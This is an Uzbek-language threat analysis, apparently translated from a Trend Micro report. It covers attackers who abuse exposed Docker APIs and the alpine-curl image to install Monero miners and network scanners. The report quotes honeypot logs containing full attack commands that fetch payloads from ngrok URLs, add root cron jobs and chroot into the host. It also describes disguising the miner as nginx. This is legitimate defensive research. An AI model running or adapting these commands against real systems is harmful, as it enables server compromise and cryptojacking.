
Biz tahdidlarni kuzatish uchun yaratgan honeypot idishlari yordamida to'plangan ma'lumotlarni tahlil qildik. Va biz Docker Hub-da hamjamiyat tomonidan nashr etilgan rasmdan foydalanib, noqonuniy konteynerlar sifatida joylashtirilgan istalmagan yoki ruxsatsiz kriptovalyuta konchilarining sezilarli faolligini aniqladik. Rasm zararli kriptovalyuta konchilarni yetkazib beruvchi xizmatning bir qismi sifatida ishlatiladi.
Bundan tashqari, ochiq qo'shni konteynerlar va ilovalarga kirish uchun tarmoqlar bilan ishlash dasturlari o'rnatilgan.
Biz asal idishlarimizni hech qanday xavfsizlik choralarisiz yoki keyinchalik qo'shimcha dasturlarni o'rnatmasdan, ya'ni standart sozlamalar bilan qoldiramiz. Xatolar va oddiy zaifliklarning oldini olish uchun Docker-da dastlabki sozlash bo'yicha tavsiyalar borligini unutmang. Ammo ishlatiladigan asal idishlari konteynerlar ichidagi ilovalar emas, balki konteynerlashtirish platformasiga qaratilgan hujumlarni aniqlash uchun mo'ljallangan konteynerlardir.
Aniqlangan zararli faoliyat ham diqqatga sazovordir, chunki u zaifliklarni talab qilmaydi va Docker versiyasidan ham mustaqildir. Noto'g'ri sozlangan va shuning uchun ochiq konteyner tasvirini topish tajovuzkorlarga ko'plab ochiq serverlarni yuqtirish uchun kerak bo'lgan narsadir.
Yopiq Docker API foydalanuvchiga keng doiradagi ishlarni bajarishga imkon beradi , jumladan, ishlaydigan konteynerlar ro'yxatini olish, ma'lum bir konteynerdan jurnallarni olish, boshlash, to'xtatish (shu jumladan majburiy) va hatto belgilangan sozlamalar bilan ma'lum bir tasvirdan yangi konteyner yaratish.

Chap tomonda zararli dasturlarni etkazib berish usuli mavjud. O'ng tomonda tajovuzkorning muhiti joylashgan bo'lib, u tasvirlarni masofadan olib tashlash imkonini beradi.

3762 ochiq Docker API-larining mamlakat bo'yicha taqsimlanishi. 12.02.2019 yildagi Shodan qidiruvi asosida
Hujum zanjiri va foydali yuk imkoniyatlari
Zararli faoliyat nafaqat honeypots yordamida aniqlandi. Shodan maʌlumotlari shuni koʻrsatadiki, biz Monero kriptovalyuta qazib olish dasturini oʻrnatish uchun koʻprik sifatida foydalanilgan notoʻgʻri konfiguratsiya qilingan konteynerni tekshirganimizdan soʻng, ochiq Docker API-larining soni ortgan (ikkinchi grafikga qarang). O'tgan yilning oktyabr oyida (2018 yil, joriy ma'lumotlar taxminan. tarjimon) faqat 856 ta ochiq API mavjud edi.
Honeypot jurnallarini tekshirish konteyner tasviridan foydalanish ham foydalanish bilan bog'liqligini ko'rsatdi , xavfsiz ulanishlarni o'rnatish yoki trafikni umumiy foydalanish mumkin bo'lgan nuqtalardan belgilangan manzillar yoki resurslarga yo'naltirish uchun vosita (masalan, localhost). Bu tajovuzkorlarga foydali yukni ochiq serverga yetkazib berishda URL manzillarini dinamik ravishda yaratish imkonini beradi. Quyida ngrok xizmatidan suiiste'mol qilinganligini ko'rsatadigan jurnallardan kod misollari keltirilgan:
Tty: false
Command: â-c curl âretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ,
Tty: false,
Cmd: â-c curl âretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c âcron || crondââ,
Entrypoint: â/bin/shâKo'rib turganingizdek, yuklangan fayllar doimiy o'zgaruvchan URL manzillaridan yuklab olinadi. Bu URL manzillarining amal qilish muddati qisqa, shuning uchun amal qilish muddati tugagandan soâng foydali yuklarni yuklab boâlmaydi.
Ikkita foydali yuklash varianti mavjud. Birinchisi, ELF formatida kompilyatsiya qilingan konchi. Linux (Coinminer.SH.MALXMR.ATNO sifatida aniqlangan), u kon hovuziga ulanadi. Ikkinchisi - tarmoq diapazonlarini skanerlash va keyin yangi nishonlarni qidirish uchun ishlatiladigan ma'lum tarmoq vositalarini olish uchun mo'ljallangan skript (TrojanSpy.SH.ZNETMAP.A).
Damlamali skript ikkita o'zgaruvchini o'rnatadi, ular keyinchalik kriptovalyuta minerini joylashtirish uchun ishlatiladi. HOST o'zgaruvchisi zararli fayllar joylashgan URL manzilini o'z ichiga oladi va RIP o'zgaruvchisi joylashtiriladigan konchining fayl nomi (aslida xesh). HOST o'zgaruvchisi har safar xesh o'zgaruvchisi o'zgarganda o'zgaradi. Skript shuningdek, hujum qilingan serverda boshqa kriptovalyuta konchilari ishlamayotganligini tekshirishga harakat qiladi.

HOST va RIP o'zgaruvchilari misollari, shuningdek, boshqa konchilar ishlamayotganligini tekshirish uchun ishlatiladigan kod parchasi
Minerni ishga tushirishdan oldin, uning nomi nginx ga o'zgartiriladi. Ushbu skriptning boshqa versiyalari minerni muhitda mavjud bo'lishi mumkin bo'lgan boshqa qonuniy xizmatlarga o'zgartiradi. LinuxBu odatda ishlayotgan jarayonlar ro'yxatidagi tekshiruvlarni chetlab o'tish uchun etarli.
Qidiruv skripti ham xususiyatlarga ega. U kerakli vositalarni joylashtirish uchun bir xil URL xizmati bilan ishlaydi. Ular orasida tarmoqlarni skanerlash va ochiq portlar ro'yxatini olish uchun foydalaniladigan zmap binari mavjud. Skript topilgan xizmatlar bilan o'zaro aloqada bo'lish va topilgan xizmat haqida qo'shimcha ma'lumotni (masalan, uning versiyasini) aniqlash uchun ulardan bannerlarni olish uchun ishlatiladigan boshqa ikkilik faylni yuklaydi.
Skript shuningdek, skanerlash uchun ba'zi tarmoq diapazonlarini ham oldindan belgilaydi, ammo bu skript versiyasiga bog'liq. Shuningdek, u skanerlashni boshlashdan oldin xizmatlardan maqsadli portlarni o'rnatadi - bu holda Docker.
Potentsial nishonlar topilgandan so'ng, bannerlar ulardan avtomatik ravishda olib tashlanadi. Skript shuningdek, maqsadlarni u qiziqtirgan xizmatlar, ilovalar, komponentlar yoki platformalar asosida filtrlaydi: Redis, Jenkins, Drupal, MODX, , Docker 1.16 mijozi va Apache CouchDB. Agar skanerlangan server ulardan birortasiga mos kelsa, u matn faylida saqlanadi, tajovuzkorlar keyinchalik tahlil qilish va xakerlik uchun foydalanishi mumkin. Ushbu matnli fayllar tajovuzkorlarning serverlariga dinamik havolalar orqali yuklanadi. Ya'ni, har bir fayl uchun alohida URL ishlatiladi, ya'ni keyingi kirish qiyin.
Hujum vektori Docker tasviridir, buni keyingi ikkita kod bo'lagida ko'rish mumkin.

Yuqorida qonuniy xizmat nomini o'zgartirish, pastki qismida esa zmap tarmoqlarni skanerlash uchun qanday ishlatilishi ko'rsatilgan.

Yuqori qismida oldindan belgilangan tarmoq diapazonlari, pastki qismida xizmatlarni, shu jumladan Dockerni qidirish uchun maxsus portlar joylashgan.

Skrinshotda alp togâli jingalak tasviri 10 million martadan koâproq yuklab olingani koârsatilgan
Alp tog'lariga asoslangan Linux va turli protokollar orqali fayllarni uzatish uchun resurslarni tejaydigan CLI vositasi bo'lgan curl kompilyatsiya qilinishi mumkin . Oldingi rasmda ko'rib turganingizdek, bu rasm allaqachon 10 million martadan ko'proq yuklab olingan. Ko'p yuklamalar bu rasmni kirish nuqtasi sifatida ishlatishni anglatishi mumkin; bu rasm olti oydan ko'proq vaqt oldin yangilangan; foydalanuvchilar ushbu ombordan boshqa rasmlarni tez-tez yuklab olishmagan. Dockerda - konteynerni ishga tushirish uchun sozlash uchun foydalaniladigan ko'rsatmalar to'plami. Agar kirish nuqtasi sozlamalari noto'g'ri bo'lsa (masalan, konteyner Internetdan ochiq qolsa), tasvir hujum vektori sifatida ishlatilishi mumkin. Buzg'unchilar noto'g'ri sozlangan yoki qo'llab-quvvatlanmaydigan ochiq konteynerni topsalar, undan foydali yukni yetkazib berish uchun foydalanishlari mumkin.
Shuni ta'kidlash kerakki, bu tasvir (alp-jingalak) o'zi zararli emas, lekin yuqorida ko'rib turganingizdek, u zararli funktsiyalarni bajarish uchun ishlatilishi mumkin. Shu kabi Docker tasvirlari zararli harakatlarni amalga oshirish uchun ham ishlatilishi mumkin. Biz Docker bilan bog'landik va ular bilan bu masala bo'yicha ishladik.
tavsiyalar
qoldiqlar ko'pgina kompaniyalar uchun, ayniqsa amalga oshiruvchilar uchun , tez rivojlanish va yetkazib berishga qaratilgan. Hamma narsa audit va monitoring qoidalariga rioya qilish zarurati, ma'lumotlarning maxfiyligini nazorat qilish zarurati, shuningdek, ularga rioya qilmaslikdan kelib chiqadigan katta zarar bilan og'irlashadi. Xavfsizlikni avtomatlashtirishni ishlab chiqishning hayot aylanishiga kiritish nafaqat aniqlanmasligi mumkin bo'lgan xavfsizlik teshiklarini topishga yordam beradi, balki keraksiz ish yukini kamaytirishga yordam beradi, masalan, ilova o'rnatilgandan so'ng har bir aniqlangan zaiflik yoki noto'g'ri konfiguratsiya uchun qo'shimcha dasturiy ta'minot tuzilmalarini ishga tushirish.
Ushbu maqolada muhokama qilingan voqea xavfsizlikni boshidan e'tiborga olish zarurligini, shu jumladan quyidagi tavsiyalarni ta'kidlaydi:
- Tizim ma'murlari va ishlab chiquvchilari uchun: Hamma narsa faqat ma'lum bir server yoki ichki tarmoqdan so'rovlarni qabul qilish uchun tuzilganligiga ishonch hosil qilish uchun doimo API sozlamalarini tekshiring.
- Eng kam huquqlar printsipiga rioya qiling: konteyner tasvirlari imzolangan va tasdiqlanganligiga ishonch hosil qiling, muhim komponentlarga kirishni cheklang (konteynerni ishga tushirish xizmati) va tarmoq ulanishlariga shifrlashni qo'shing.
- Kuzatish va xavfsizlik mexanizmlarini yoqish, masalan. va o'rnatilgan .
- Konteynerda ishlaydigan jarayonlar haqida qo'shimcha ma'lumot olish uchun (masalan, firibgarlikni aniqlash yoki zaifliklarni qidirish uchun) ish vaqtlari va tasvirlarni avtomatlashtirilgan skanerlashdan foydalaning. Ilovalarni boshqarish va yaxlitlik monitoringi serverlar, fayllar va tizim hududlaridagi g'ayritabiiy o'zgarishlarni kuzatishga yordam beradi.
Trendmicro DevOps jamoalariga xavfsiz qurish, tezda tarqatish va istalgan joyda ishga tushirishga yordam beradi. Trend Micro Tashkilotning DevOps quvur liniyasi bo'ylab kuchli, soddalashtirilgan va avtomatlashtirilgan xavfsizlikni ta'minlaydi va bir nechta tahdidlardan himoya qiladi. ish vaqtida jismoniy, virtual va bulutli ish yuklarini himoya qilish. Bundan tashqari, konteyner xavfsizligini qo'shadi Đž , Docker konteyner tasvirlarini zararli dasturlar va zaifliklar uchun skanerdan o'tkazadi, bu tahdidlarni joylashtirishdan oldin ularni oldini olish uchun ishlab chiqish liniyasining istalgan nuqtasida.
Murosaga kelish belgilari
Tegishli xeshlar:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
ning Amaliy ma'ruzachilar yuqorida tavsiflangan vaziyatning yuzaga kelishi ehtimolini minimallashtirish yoki to'liq oldini olish uchun birinchi navbatda qanday sozlamalarni o'rnatish kerakligini ko'rsatadi. 19-21 avgust kunlari esa onlayn intensiv kursda Siz ushbu va shunga o'xshash xavfsizlik muammolarini hamkasblar va amaliyotchi o'qituvchilar bilan davra suhbatida muhokama qilishingiz mumkin, bu erda hamma o'z fikrlarini bildirishi va tajribali hamkasblarning dardi va muvaffaqiyatlarini tinglashi mumkin.
Manba: www.habr.com
